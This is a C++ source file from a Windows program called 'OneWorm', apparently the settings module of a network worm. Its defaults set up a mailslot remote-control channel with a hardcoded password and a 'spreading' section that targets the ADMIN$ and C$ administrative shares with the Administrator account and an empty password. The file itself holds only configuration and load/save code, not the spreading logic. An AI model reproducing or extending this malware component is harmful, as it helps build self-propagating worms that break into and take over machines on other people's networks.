#include <windows.h>
#include <string>
using namespace std;

#include "settings.hpp"
#include "stf.hpp"
#include "filesystem.hpp"
using stfu::node;

node settings;

node default_settings(){
    node n;

    n.child("service").value("name") = "OneWorm";

    n.child("remote control").value("mailslot") = "oneworm";
    n.child("remote control").value("password") = "123abc";

    n.child("spreading").child("user").value("username") = "Administrator";
    n.child("spreading").child("user").value("password") = "";

    n.child("spreading").value("share",0) = "ADMIN$";
    n.child("spreading").value("share",1) = "C$";

    return n;
}

string getSettingsFileName(){
    string fn = getExeFilePath();
    fn.append(SETTINGS_FILE_POSTFIX);
    return fn;
}

bool load_settings(){
    string fn = getSettingsFileName();

    if(!settings.read(fn.c_str())){
        settings = default_settings();
    }

    return true;

}

bool save_settings(){
    string fn = getSettingsFileName();

    return settings.write(fn.c_str());
}
